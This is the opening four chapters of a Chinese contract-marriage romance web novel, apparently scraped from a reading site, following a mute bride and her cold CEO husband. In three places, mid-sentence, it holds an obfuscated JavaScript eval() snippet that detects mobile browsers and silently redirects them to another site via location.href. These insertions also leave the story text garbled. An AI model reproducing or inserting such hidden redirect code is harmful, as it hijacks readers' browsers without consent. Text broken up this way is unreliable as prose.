《小哑巴不喜欢我[先婚后爱]》 1. 第1章 月色朦胧,诸愿蜷缩在丝绒大床上,指尖绞着真丝被角。她认床,今天刚搬来婚房第一天,不出所料地失眠了。 盯着门口方向,正百无聊赖地想“顾太太”该怎么扮演,冷不丁地看到卧室门前忽然出现的人影,杏眼一下子睁得滚圆。 睡前刷到的新闻标题猛地窜进脑海——“顾家老宅灵异传闻”,人类的本能让她下意识倒吸口凉气,嘴唇刚要张开,却猛地停住: 她是个哑巴,发不出任何声音! 人影一步步逼近。 皮鞋叩击木地板的声响犹如催命符,诸愿再按捺不住,抓起床头柜的玻璃杯,狠狠砸向那不知是人是鬼的高大身影。 “咣当!”玻璃破碎声划破静谧的夜。 诸愿撑着床沿迅速退到床头,慌乱中碰掉了什么东西,“叮铃”一声脆响,恰在此时,顶灯“啪嗒”亮起。 灯光下,开关旁立着一道身影—— 男人身形挺拔如松,面容清俊矜贵,额角正渗出刺目的红,血珠顺着冷硬的下颌线蜿蜒而下。 诸愿小脸瞬间惨白,视线下移,撞进对方疏淡无波的眼底,一股寒意骤然从脚底窜上脊背。 床上的少女猛地一颤,缓缓睁开眼,强烈的阳光让她不适地抬手遮挡,耳畔随即响起温和的女声: “太太,您醒了?” 诸愿动作一僵,侧头看见门口垂手而立的顾家保姆静姨,瞌睡顿时醒了大半,忙不迭坐直身子。 这几天的记忆如潮水般涌来: 濒临破产的父亲将她当作棋子,送给了顾氏集团掌舵人顾识弈。 那晚,她被捆住手脚送进了顾宅,本以为人生就此沉沦,顾识弈却将一份婚前协议推到她面前,绅士有礼,却也薄情。 “诸小姐,我不强迫人,但如果您愿意扮演好顾太太,我可以给您除您个人所得,顾氏资产增值部分的三成。” 只需要“卖身”一年,就能摆脱困境,还能获得巨款资产,诸愿毫不犹豫地点头应下。 可昨夜的场景还在眼前回放:新婚之夜,她误把顾识弈当鬼,砸得他额头见血,尽管对方当时没说什么,她却忍不住想。 顾识弈会不会后悔跟她签结婚协议了? 此刻静姨来唤,诸愿心里更是“咯噔”一声。定是顾识弈想找她“秋后算账”,却迟迟不见她出现,才派人来催。 这情形,像极了员工犯错逃避,领导让HR来“兴师问罪”。 她手忙脚乱地穿衣服,偏偏平时性子温吞,一急更出错,下床时险些摔个狗啃泥。 静姨看得心惊,刚想上前搀扶,就见诸愿撑着地板,一阵风似得“瞬移”进了卫生间。 望着少女略显狼狈却透着鲜活的背影,静姨愣了愣,随后弯起了嘴角。 这顾宅,以后有得热闹咯。 她在顾家干了许多年,一直以来都是做完饭就离开,从不住下。 直到前两天,顾总告诉她“他结婚了”,需要她住家照顾太太,她才惊觉,这位常年孑然一身的顾总,竟头一次带女人回家,还是以妻子的身份。 而当她看见瑟缩在沙发上、哭红了眼却依然美得让人心颤的少女时,忽然就懂了。 这样楚楚可怜又灵气动人的姑娘,任谁见了,都想护在羽翼之下吧。 诸愿洗漱完第一时间就冲下了楼梯,张望四周,却只看见静姨在餐桌旁摆盘。 “太太,早餐好了。” 她走过去,手指飞快地打字:【顾总呢?】 “顾总去公司了。”静姨递过来骨瓷餐盘,“太太找顾总有事吗?” 诸愿接了过来,她忘了今天是工作日。 那看来静姨唤她只是怕她睡过头,耽误吃早餐而已,并不是顾识弈要找她算账。 诸愿顿时松了口气。也许顾识弈根本不在乎家里多了一个她。 如果是这样,那真是太好了! 只要苟一年就能离婚……诸愿眉眼弯了起来,端起牛奶喝了两口,静姨却突然说:“太太是要去集团找顾总吗?那太太帮我把骨头汤一起带过去吧。” “咳咳!”牛奶呛进气管,诸愿指着自己的鼻子:我? 她躲都来不及,找顾识弈做什么? 静姨还在自顾念叨:“顾总说昨晚撞了墙,都怪我没留夜灯,脑袋破了可不是小事,得熬骨头汤补补……” 静姨一心在自责,没注意到诸愿的头越埋越低,裸露的耳根渐渐红了起来。 临近中午,诸愿望着厨房里正在熬骨头汤的静姨,叹了口气。忽然想起什么,她背过身,下载了个闪送APP,点击“帮我送”选项。 她实在不敢面对顾识弈,何况是主动送上门,还是找人帮忙送比较适合。 诸愿刚下完单,手机就响了一下,她下意识以为是闪送小哥的信息,定睛一看才发现不是。 只见对话框上,来人不客气道:【怎么没有跟去正远?】 正远是顾氏集团的名字。 诸远抿了抿唇,那人又发来一条信息:【只要你偷到顾氏明年的项目计划书,我一定会做到答应你的事情,但若是你什么都不做,那我自是有办法折磨他。】 诸愿抓着手机的手指即刻变得泛白。 一小时后,诸愿还是亲手接过了静姨备好的保温桶。 幸好,静姨提前帮她打好了招呼,一出门就有司机守在门口,不需要她打车。 路上,诸愿看见一闪而过的药店,又“叫”司机在路边停下,下去买了一管药膏回来。 正远集团大厦门口,早已等候在此的林秘书,见人走来,立刻上前半步:“太太。” 诸愿脸上挂起微笑,轻点头。 青年秘书引着她进入总裁专用电梯,她踏进去,想到等会就要见顾识弈就开始紧张,奈何66层的数字跳得比她心跳还快。 电梯门开启,诸愿深吸一口气,压下心头的忐忑,带着几分“壮士断腕”的孤勇,抬脚走了出去。 偌大的办公室里,右边是黑檀办公桌椅,左边是一套真皮沙发,除此之外,整个空间空旷的连株绿植都没有。 她微微讶异,偷偷瞥向落地窗外如蚁的车流。俯瞰城市的视角,倒与顾识弈的冷硬气场有几分匹配。 又想起自己来的目的,诸愿赶紧收回目光,规矩地坐在沙发上,身板不自觉挺直。 林秘书回来,手上多了一杯水和一块平板。 “顾总在开会,太太您先在这歇会儿。” 一听能延缓见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620602|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,诸愿绷直的后背立马塌了下去,又在对方看过来时猛地坐正,矜持地点了点头。 对方职业素养极强,脸上没有泄露丝毫看她笑话的神色,自然地退了出去。 诸愿脸颊发热,没事找事地轻轻滑动平板屏幕,时不时地抬头看一眼紧闭的办公室门。 直到杯里的水喝了大半,手上的贪吃蛇死了五次,顾识弈的身影始终没有出现。 两小时后,诸愿顶着一头乱发从沙发醒来。 她昨天因为砸了顾识弈,担惊受怕整晚都没睡,今早好不容易睡过去了又被惊醒,睡眠严重不足,一不小心就在这睡着了。 诸愿坐直身子,发现保温桶还维持原状地放在桌上、办公室门也仍然紧闭着。 她起身,抱起已经失温的保温桶走出办公室,正好看见端着咖啡从茶水间回来的林秘书。 她空出一只手打字:【你们顾总还在开会吗?他们不休息吃饭吗?】 秘书颔首,一板一眼地回答:“今天是月度大会,会议要持续开到晚上,后勤已经送饭过去了。太太不必担心。” 诸愿愣住,没想到今天这么不凑巧。她低头,怀里的汤是静姨熬了一早上的,还有她的任务也还没行动。 【他知道我来了吗?】诸愿打字,再次为自己争取。 秘书看完,迟疑片刻,委婉地对她说:“您来的第一时间就已经通知了顾总。” 诸愿霎时明白,顾识弈知道,只是不见她而已。 或者说不在意她。 这让她意识到,两人之间冰冷的协议关系或许比她想象中的还要疏离。 本来想留下药膏的想法彻底收了回来,怕继续留在这里耽误秘书工作不能及时下班。 她抿出一抹笑,用手语向对方道谢,然后抱着原封不动的保温桶,怎么来的又怎么离开。 电梯门合上的刹那,会议室门向两边缓缓打开。 原定要开到晚上的会议提前结束,顾识弈走在散会人群最前端。 他身着挺括西装,额角的纱布在走廊灯光下泛着刺目的苍白,唇角却抿成一道冷硬的直线。 那股深植骨血的威严,让周遭空气都带着不容置喙的凛冽。即便额角的纱布格外显眼,也丝毫未折损他鹤立鸡群的冷峻气场。 顾识弈回到办公室,听闻诸愿已经走了,俊容冷淡,修长的指尖翻阅起文件,头都不抬:“她说了什么。” 秘书摇头:“没有。” “就是知道您要开会到晚上看起来很失落,噢对,太太来的时候还抱了一桶保温桶。” “在哪?” “什么?” “保温桶。” 秘书愕然,随即意识到自己做错了事。 他低下头:“是我传达有误,太太知道您已经吃了,走得时候就…一并带走了。抱歉,我会跟财务说我这个月的奖金扣除。” 等秘书离开,顾识弈视线越过书桌,定格在沙发上未锁屏的平板上——屏幕里,贪吃蛇广告里的星星正闪烁着光,像极了昨夜诸愿砸完玻璃杯后,那双惊惶却亮得惊人的眼睛。 男人指腹无意识摩挲着结痂的伤口,那里一夜过去,碰到还是会牵扯神经发出阵痛,只是此时却泛起了异样的痒意。 2. 第2章 诸愿离开顾氏大楼并没有急着回顾家,而是刻意绕路去了附近的商圈。 她推着购物车佯装闲逛,不知不觉车里已堆成小山,但诸愿的目标并不是这些。 她站定在收银台前,目光掠过货架上那排精致的小盒子。 当收银员计算完购物车里的所有物品,问她要不要购物袋时,诸愿飞快地将一开始瞄中的盒子搁上柜台,垂下的睫毛扑扑闪。 收银员显然见惯了这般场景,利落地扫码报数。诸愿付完款,拎起袋子便匆匆往外走。 直到商场旋转门在身后闭合,那股如芒在背的窥视感才消散,诸愿顿时呼出一口气。 她可以肯定,诸世清一定派人在暗中盯着她,不然也不会知道她早上去没去正远。 想到这,她目光落在购物袋里最上面的小盒上,转瞬又移开。 隔壁奶茶店飘来香味,诸愿点亮手机屏幕——下午五点十分。 顾识弈通常六点下班,今天开月度大会更晚,她立即拐了进去。 诸愿吸着布蕾脆脆奶芙心情愉悦地出店,赶在顾识弈下班前拦了辆出租车回家。 六点,她刚踏进顾家大门,就见顾识弈穿浅灰色家居服,端着马克杯从旋转楼梯缓步而下。 他下颌线锋利,捏杯耳的手指骨节分明,淡漠的目光投射过来的瞬间,诸愿僵直在玄关,连呼吸都轻了几分。 “回来了。”顾识弈的声线低沉,尾音平直得没有任何起伏,说完便往厨房走,仿佛只是随口一提。诸愿却还在发懵——不是说今天月度大会要开很久吗?怎么提前回来了? 直到静姨喊开饭她才发现自己攥皱了保温桶的布袋,她慌忙捋平,去厨房洗手时顺便把保温桶递还给静姨。 见桶里的汤没了,静姨没多问便接过去冲洗,她暗自松了口气,转身走向餐厅。 长桌两端,两人相对而坐,这是她与顾识弈第一次同桌吃饭。 诸愿微微抬头,一眼看见男人额角醒目的白纱布,中心还渗着点淡红,愧疚感瞬间涌来。 她不敢再看,低头加快了扒饭的速度,竹筷碰到碗沿发出细碎的声响。 就在此时,顾识弈忽然开口:“抱歉,今天月度大会走不开,你去公司时我正巧没时间。” 正嚼着肉丸子的诸愿险些咬到舌头,愣愣地看向对面。 顾识弈居然在跟她道歉? 她慌忙摸出手机打字:【没有没有,是我不打招呼就去公司找你,是我打扰了你!】 她本就是为道歉而去,怎能因没见到人就闹脾气,何况现在已经知道他并非故意冷落她。 顾识弈垂眸看着手机屏幕,睫毛在眼睑下投出浅淡的阴影。 诸愿拿回手机时偷瞄他一眼,见他未作声,心头不禁微动:顾识弈会道歉,或许并非传闻中那般不近人情? 她深吸一口气,再次打字:【昨天真的对不起。我看错砸伤了你,不是故意的,你现在还疼吗?我下午买了药膏,可以帮助伤口自然干燥和结痂,你涂一下吧?】 指尖敲完最后一个字,她刚想从口袋里掏药膏,顾识弈放在桌上的手机却突然响起。 诸愿听他对着电话那头低嗯一声,“说。” 下一秒,他周身气压骤降,捏着手机的指节绷紧,他没多问一个字,只淡淡应了声“知道了”便起身径直上楼。 诸愿望着顾识弈的背影,再看看手里攥着的药膏和亮着备忘录的手机,长睫在灯光下轻轻颤动。 现在跟上去,怕是直接撞枪口。 她还不想死。 早知道刚才就应该抢在电话前递给他,或者要是自己会说话就已经说出来了。 诸愿默默叹了口气。 等吃完饭回房间洗澡、吹干头发时刚过八点。 她现在所在的卧室并非昨晚那间,今早听静姨说才知道,原来昨晚自己睡错了房间。 当初她来顾宅时顾识弈并不在家,静姨不知道协议的事情,以为她是顾识弈的妻子,便直接安排进了顾识弈的卧室。 而他的卧室常年整洁得像样板房,根本看不出来有人住,她自然没察觉出异样。 以为是自己一个人住,顾识弈摸黑进来时,她下意识就以为不是人……想起昨晚的事,诸愿仍觉得尬尴,拿起梳妆台上没送出去的药膏和商圈买的小盒子,一并塞进了抽屉里。 前者顾识弈应该是不需要了,至于后者,不过是为了演给诸世清看的道具。 她又拾起台上放着的烫金封面台历,从笔筒里掏出荧光笔,在明年今日的日期上画了个圈。 倒计时还有三百六十天。 暖黄灯光勾勒出她精致的侧脸,小巧的下巴微扬,少女双手交叉许愿: 希望这一年快点过去,少惹顾识弈,最好……最好把她当透明人,然后顺利离婚。至于诸世青的任务,等她拿到顾识弈的钱,她就不用怕了! 下意识的,诸愿摸向手腕,却摸了个空,她惊诧睁眼,澄澈的眸子里满是慌乱。 她手上编着铃铛的红手绳不见了! 被子掀开,诸愿在床单上翻找一通,又把行李箱打开里里外外都检查了一遍。 哪儿都没有! 诸愿懊恼地埋进屈起的膝盖里,红绳是她本命年收到的礼物,陪她度过无数难眠无言的夜,意义非凡。 也怪她从昨天到今天一直紧绷着,竟都没发现手绳丢了。 回想今天的行程:下楼吃早餐、去正远、逛商圈……若丢在商场里,找回无异于大海捞针,根本没可能! 就在诸愿要崩溃之时,忽然,她想起昨夜扔完玻璃杯后退时,似乎听到了一声脆响,会不会是手绳铃铛的声音? 那手绳极有可能是丢在顾识弈房间里了。 她心里一喜,可马上又想到自己已经不住在那个房间了,怎么拿回来? 诸愿的脸色瞬间从欣喜变得绝望。 深夜的老宅安静得连踩在红地毯的脚步声都能听见,诸愿思索再三,还是走出了房门。 她装作路过又折返,最后把耳朵贴在顾识弈的房门前,里面寂静无声。 顾识弈不会已经睡了吧? 不对不对,才八点呢,怎么可能睡了。 诸愿咬了咬粉嫩的唇瓣,鼓起勇气敲门,“吱呀”一声门开了道缝,她吓得后退了一步,屏住呼吸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620603|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可过了半响也没人出来,诸愿抿了抿唇,大着胆子轻轻推开门。 房间里依然像样板房般整洁,洗手间传来细微水声。 原来顾识弈在洗澡。 诸愿心里松了口气,这倒省去了碰面的尬尴,不若被问起手绳为什么掉在这里,她还得从砸伤他的事讲起。 她实在不想再回顾昨晚的事了。 她悄悄走进卧室,瞄了眼卫浴间,磨砂玻璃门后映出男人模糊的高大轮廓,诸愿“唰”地一下,全身变得比浴缸里的热水还烫,瓷白的脸上浮现明显的绯色。 后知后觉她这是擅闯,而卧室的主人还在一门之隔里洗澡。 诸愿咽了咽口水,想到手绳的重要性,她轻拍了拍脸颊,甩掉乱七八糟的念头,咬牙走到床边开始找。 纤细的手指在床头边摸索,诸愿记得她是在这周围碰掉的,然而找了一圈,却怎么也找不到。 诸愿泄气地坐在地上,忽然,侧头贴近木地板往床底看,双眼一亮。 红绳果然在里面! 应该是被无意间踢进去的。 她高兴地趴在冰凉的地板上,匍匐身子往里爬,手绳的位置不近不远,伸进去半个头才摸到绳尾的铃铛。 就在她拿着手绳往外退时,背后突然传来顾识弈的声音:“你在干什么?” 诸愿吓得猛抬头,却忘了自己还在床底,“咣”一声撞上床底板,疼得眼泪直打转,下意识松开手绳去摸后脑勺。 顾识弈站在床边,眸光微冷,听到撞头声的瞬间,瞳孔几不可察地缩了下,等少女从床底爬出来,又迅速恢复成冷冽。 诸愿仰起脸,看见顾识弈浴袍松垮地敞着,发梢滴着水,水珠沿着肌理分明的锁骨滑进衣襟里。 这还是诸愿第一次看顾识弈“衣衫不整”的样子,与平日西装革履的禁欲模样完全判若两人。 他身上还带着出浴后的水汽,松木的气息争先恐后地进入她的鼻腔,从外而内地包裹住她。 诸愿脸上不禁又浮起热气,目光上移,就见顾识弈面无表情居高临下地盯着她,吓得眼泪一下子就掉了下来。 传闻,顾识弈在商场上手段狠辣,对人冷漠无情。她擅闯了他的房间无疑是触了他的底线,而她还无依无靠,顾识弈捏死她简直就跟捏死一只蚂蚁一样简单! 就在这时,顾识弈半蹲下身伸手过来,诸愿几乎是条件反射地抱住自己的脑袋蜷曲起身子。 满室凝固。 空气死寂得能听见两人交错的呼吸声,诸愿透过指缝看见顾识弈僵在半空中的手和狠狠皱起的眉头,才意识到自己误会了他的好意,慌忙比划手语道歉。 她本来就砸伤过顾识弈,现在又误会他,都能想象本来已经放过她的顾识弈现在有多生气了! 暖色的灯光映入顾识弈的眼帘,漆黑的瞳孔里是融不化的寒冰。 诸愿比划的手顿住了,攥紧了手指,如果她今天不幸…… “下次进来前先敲门。” 一句话打断了少女的胡思乱想,她猛地抬头,男人已转身走向衣柜,丢下的话语强硬却不像是真生气: “回去睡觉。” 3. 第3章 诸愿趴在床上,下巴抵着从商圈带回的企鹅布偶,指尖攥着手机沁出薄汗,瞪圆的眼睛死死盯着屏幕。 当对话框里跳出“对方通过了你的朋友验证”的系统提示时,指腹像被烫到般轻颤了一下。 昨夜从顾识弈卧室慌乱逃离后,她才惊觉忘了拿手绳。 今早拜托静姨打扫时带出来,得到的回复却是“床底根本没有手绳”。 她飞快输入“你拿了我的手绳吗?”刚要发送又猛地删掉,这话听着像是怀疑顾识弈故意拿走了她的手绳。 改成“你捡到我的手绳了吗?”好像又太过刻意? 她咬着唇思索片刻,重新编辑:“你有没有在哪里看到过我的手绳呀?红色编绳,上面串着金色小铃铛的。” 正满意地准备发送,对话框却先弹出新消息。 顾识弈:【找我什么事?】 诸愿几乎能想象手机那头男人的表情——那双总是结着冰的眼睛,此刻定是写着“我一分钟能谈千万项目,找我最好有紧急事”。 她抖了抖身子,低头瞅着编辑框里面的文字。还是等顾识弈晚上下班回家了再说吧。 正远集团六十六层总裁办公室,顾识弈指尖在键盘上落下最后一个字符。 落地窗外,鳞次栉比的摩天楼群林立,章司年坐在办公桌对面的真皮沙发上,晃着高脚杯里的红色酒液轻笑。 “万年铁树开花,你这闪婚速度够惊人啊,你家老爷子知道了不得跳脚?” “不过说真的,那姑娘长得如何?带过来让我瞧瞧呗?” 顾识弈的视线始终未离电脑屏幕,对话框昵称上显示“对方正在输入”。 发小的问题在耳边萦绕,脑海里不受控制地浮现少女的模样——每次碰面都如临大敌,脊背绷得笔直,手指蜷缩着,连眼尾都透着警惕。 偏偏心思像摊开的白纸,所有情绪都明明白白地写在脸上…… 微信提示音适时响起,他掀眸。 诸愿:【没事。】 三秒后,对话框里又跳出“愉快”和“玫瑰”的emoji。 他盯着那两个小表情看了三秒,从鼻腔里溢出一声几不可闻的轻嗤。 他以为诸愿主动加好友必有缘由,毕竟少女怕他怕得如同躲避洪水猛兽,破天荒地他在对话框里敲下“找我什么事?”,却没想到回复是“没事”。 章司年还在沙发上喋喋不休追问诸愿的容貌,他抬眼:“你开周年庆的地址发一份给我的秘书。” “嗯?你不是向来不参加这种活动的吗!”章司年震惊。 顾识弈没接话。 他娶诸愿的事确实让老爷子大发雷霆,甚至企图干预公司决策逼他离婚,昨晚的电话正是因此。 但他并不准备收手,还打算闹得满城皆知。 徬晚,诸愿在家没等来顾识弈,却等到了林秘书的信息。 林秘书:【太太,顾总今晚参加朋友开业周年庆派对,请您在六点前做好准备,我会准时来接您。】 她赶忙打字询问:【好,请问有着装要求吗?】 过了一会儿,那边回复:【顾总说,按您平时穿着就行。】 诸愿松了口气。 她虽是诸家大小姐,但因为哑巴,父亲觉得她拿不出手,每次家庭聚餐和宴会,她都只能待在房间,也不用出门上学,自然省了昂贵衣服首饰的开销。 她带来的都是普通衣裙,若有着装要求,还得现买。 幸好不用,不过以后说不定需要,下次还是找个时间去添置些新衣服吧。 五点五十分,诸愿已经准备妥当,出门等候,没想到林秘书也提前到了。 两人上次见面后熟悉了不少,加之林秘书常需转达顾识弈的话,言语多有照顾,诸愿面对他不自觉放松许多。 她微笑着挥手走过去,见是林秘书开车,便想去副驾驶坐,谁知车门竟拉不开。 车内,林秘书尬尴地笑道:“太太,不好意思,我开车不习惯副驾有人,容易分心,您坐后面好吗?” 诸愿并未多想,只当他真有这个毛病,怜悯地看了一眼,便去拉后座车门, 这一拉,赫然看见一天未见的顾识弈坐在里面。 他身着熨帖西装,双腿交叠倚背而坐,优雅中透着慵懒。 昨晚男人冷肃的面庞浮现眼前,她腿一软,转头看向林秘书,后者头压得极低。 诸愿这才明白,根本没有什么副驾不能坐人的毛病,不过是怕顾识弈生气罢了。 这下,她开始怜悯起自己了。 诸愿扶着车门怂兮兮地爬进后座,往角落缩了缩,又想起是不是该跟顾识弈打个招呼,侧头,男人却阖上了眼睫,留给她一个棱角分明的侧脸。 还等着进一步询问手绳的诸愿:“……” 她庆幸又无奈地将手机放回包里,决定等周年庆结束后再问。 下车后,诸愿望着门上“璟年”的招牌,霓虹灯闪烁下,透着八九十年代的金色土豪会所风格,装饰品极尽奢靡却与当下审美格格不入。 虽位于商业街中心,却比旁边门店冷落许多。 她偷偷瞥向顾识弈,原以为他朋友开得都是高级餐厅或山庄,没想到会是酒吧。 顾识弈推门而入,震耳欲聋的音浪声扑面而来,诸愿瞪大眼睛,刚刚还觉得门口冷清,没想到里面竟如此热闹。 或许是察觉到她的退缩,顾识弈保持着开门的姿势,回头对她说:“跟紧我。” 诸愿怕添麻烦,赶紧用力地点头表示明白,跟上步伐。 卡座里,众人听闻章司年说顾识弈会带新婚妻子来,纷纷惊掉下巴。 有人问:“不是说是联姻没感情吗?怎么直接带来了?联姻变真爱?” “联姻是兰家小姐,不过这事吹了,换成了真爱诸小姐。” “说实话,听到顾总已经结婚时我人都傻了,以前多少豪门想攀附顾家,送上门的千金数不胜数,怎么突然就结婚了,还说是真爱,一点风声都没有。”那人摇摇头,一副百思不得其解的模样。 “就没人好奇这诸家是谁吗?我听都没听说过。”这话一落,立即有人附和,“当然好奇!究竟是谁家姑娘,迷得咱们顾总为爱下凡!” 有人举手说道:“这诸家我倒是知道,虽比不上在座各位的家世底蕴,但也算得上是豪门,特别是诸家大少爷接诸老爷子手后,更是蒸蒸日上,不过三年前诸大少爷遭遇车祸,诸家在现任家主手里,便开始走下坡路了。” 旁边人摆摆手:“我对诸家大少爷不感兴趣,有没有诸家小姐的信息?” 另一个人摇摇头:“我人脉算广了吧,但要不是顾、诸两家结成亲家,我都不知道诸家还有女儿,从来没听说过。” “嚯,这么神秘?这诸家小姐难不成是神人啊!” “或许,”其中一人插话进来,“是一直在国外生活吧,所以国内了解的人不多。” “说得也是,顾总事业心那么重,喜欢的肯定是和他势均力敌能并肩作战的职场女性,留学归来学富五车很有可能!” “就是就是,就说刚才提到的兰家,谁人不知这兰大小姐有多优秀,简直是才貌双绝,连顾老爷子都同意了,可顾总说拒绝就拒绝,想必娶回来的这位肯定是比兰家大小姐更优秀的人中龙凤!” 话音刚落,便听有人喊了一声“顾总来了。”众人目光整齐划一地看向门口。 只见顾识弈从外走来,身旁站着个齐肩高的女生。 那女生似对周围环境既好奇又害怕,整个人怯生生的。 而一直被人戏称不近女色的顾识弈,竟明显在护着她,虽未牵手,但侧着的身子、刻意放慢的脚步,无一不在保护着与众人想象中“势均力敌”形象大相径庭的“小白兔”小姐。 众人再次震惊,整个酒吧徒然安静下来。 诸愿紧贴着顾识弈,昨日让她害怕的高大身影,此刻却带来安全感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620604|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她观察着酒吧环境:五颜六色不断闪烁的灯光、身穿制服的调酒小哥、打扮潮流的人群……奇怪的是,刚刚还热闹非凡的酒吧,此刻却像被按了静音键,落针可闻。 她狐疑地望去人群中心的卡座,这时有个青年站了起来,熟稔地上来打招呼。 “顾哥来了,这是嫂子吧?” 顾识弈颔首介绍她,“诸愿。” 诸愿还没反应过来,对方就喊道:“嫂子您好,我是章司年,是识弈从小一起长大的发小。” 见对方笑容灿烂,不像以往的人直接忽略掉她,诸愿心里有些感动,也笑着伸手和他相握。 章司年微微愣住。 少女身着纯白长裙,乌黑长发披肩,精致的面容带着浅笑,害羞又认真地与他握手,关键气质纯真可人,跟酒吧里的其他人截然不同。 众人看到这也愣了一下,本来还觉得少女明显懦弱的性格和顾总裁气场完全不搭,此刻却觉得“小白兔”又怎么样,这多让人有保护欲啊。 萝卜青菜各有所爱,铁血手腕的顾总或许就喜欢这样的傻白甜。 顾识弈适时开口:“不是开业周年庆?还没开始?” 人齐了,章司年立即喊人开场。 侍者上新一轮酒,等酒吧音乐一响,霓虹灯交错,众人便沉寂在庆祝的狂欢里。 诸愿坐在卡座里,顾识弈用背脊形成一个弧替她挡住了众人的打量。 有人试探性地调侃了一句“果然是新婚夫妇哈,蜜里调油”。顾识弈竟然也不恼,神情平和地坐着。 诸愿向来敏感,从协议,再结合大家的反应,大概猜到了顾识弈在筹谋什么。 顾识弈挨得她极近,能嗅到他领间清列的松木香,但诸愿再不会像上次那样产生任何旖旎想法。 她身板挺直,满脑子只剩下“第一次演顾太太,万一没配合好顾识弈演砸了该怎么办”的想法中。 就在这时,一杯冰橙汁塞进她手里,诸愿惊得抬眼,顾识弈却先一步别开脸。 诸愿虽然狐疑,但正巧渴了,便抬起杯子喝了一小口,冰凉酸甜的味道在口腔漫开,慢慢的竟然缓解了她的紧张。 派对高潮时,顾识弈收到章司年的消息:今晚他带人来的事已经散播出去了。便毫不犹豫地起身带诸愿离开。 众人见了却不敢挽留,这位会出席今晚的活动本就稀奇,觉得没意思直接走也是合情合理,反而纷纷恭敬地起立送别。 回到万宜大院,因为主人今晚都不在家吃饭,便放了静姨假回家,因此房子留了灯却静悄悄的。 二楼分别时,顾识弈顿住脚步:“今晚表现很好,想要什么奖励?” 话落,袖口一沉。 他低垂眼,少女纤细的双手抓住了他的手腕。顾识弈微蹙眉,撩起眼皮,却见诸愿眼神迷蒙、脸颊酡红,分明是喝醉了酒的模样。 是谁趁他不注意灌得酒? 他一时拿捏不准诸愿醉到了什么地步,人不会说话,也不好问。 正打算打电话叫静姨回来,诸愿拉着他袖子的手晃了晃。 顾识弈凝眸落在两人手上,眼底划过一抹诧异。平时怕他避他的诸愿,现在竟然胆大到敢拽他的袖子了。 他突然好奇,少女酒后还能干出什么更“大胆”的事。 他任由少女将自己拉进一个陌生的房间里,直到被推坐在柔软的粉色床榻上,才后知后觉这是静姨给少女新换得卧室。 静姨没亏待少女,这里南北通透,配套应有尽有,是极好的房间。 只是,他看着少女躬身拉开抽屉的背影,瞥见里面露出的避孕套包装盒,黑色瞳孔骤然沉下。 原来那副瑟瑟发抖怕他的模样都是精心设计的伪装。 顾识弈的目光冷冽,指腹慢条斯理地抚平袖口上被少女攥出的褶皱。 他没有因为被欺骗而恼怒,更多的是在冷静思量该如何最大限度地降低损失,结束这场预判错误的婚姻。 4. 第4章 诸愿只觉周遭天旋地转,强撑着晃了晃脑袋,眩晕感却愈发强烈。 她抬手按住突突跳动的太阳穴,放弃了这无用的举动,转身的瞬间,却撞进顾识弈深不见底的眸光里。 男人端坐床边,笔挺的西装勾勒出冷硬身形,腕间百达翡丽在灯光下泛着幽冷光泽。 她下意识扯出一抹浅笑,那笑容带着几分醉意的朦胧。却不知,这笑落入顾识弈眼中,俨然成了精心算计的伪装。 就在她抬手靠近时,顾识弈突然钳住她的手腕,语气冰寒:“诸愿,我们离……” 突如其来的力道让诸愿手中的东西应声掉落,顾识弈低头一瞥,冷漠的表情瞬间僵在脸上——地上躺着的并非预想中的避孕套,而是一支铝管药膏。后半句话梗在喉间,化作一声沉闷的吞咽。 此刻的诸愿早已醉意醺然,连站稳都费力,更无瑕思索顾识弈未说完的话。 她本能地挣扎着抽回手腕,踉跄着蹲下身捡起药膏,再起身时拧开了盖子,用棉签蘸取药膏,目光直直落在顾识弈额角的纱布上。 察觉到她的意图,顾识弈条件反射地后仰躲开。 自十岁起,他便不许任何人如此靠近,这道禁忌从未被打破。 可被酒意壮了胆的诸愿,胆子大得惊人,竟直接伸手去抓他的下颌。 顾识弈再次侧身躲开,周身散发着危险的气息:“你不问问我要不要?” 诸愿歪着头,迷蒙的眸子里透着股倔强,仿佛认定了要为他处理伤口。 顾识弈蹙眉,没有人敢忤逆他。刚想拒绝,只听“撕拉”一声,纱布已被诸愿扯了下来。 他猛地起身逼近,强大的压迫感让诸愿本能地后退半步。 没等顾识弈发作,一滴晶莹的泪珠从她眼中坠落,砸在木地板上晕开深色痕迹,剑拔弩张的气氛瞬间凝固。 当诸愿再次凑近时,顾识弈鬼使神差地没有躲开。 棉签轻触伤口的刹那,他紧绷的肌肉不自觉地放松下来。 那动作轻柔得如同春日里拂过湖面的风,带着从未感受过的温柔,丝丝缕缕钻进他心底荒僻的角落。 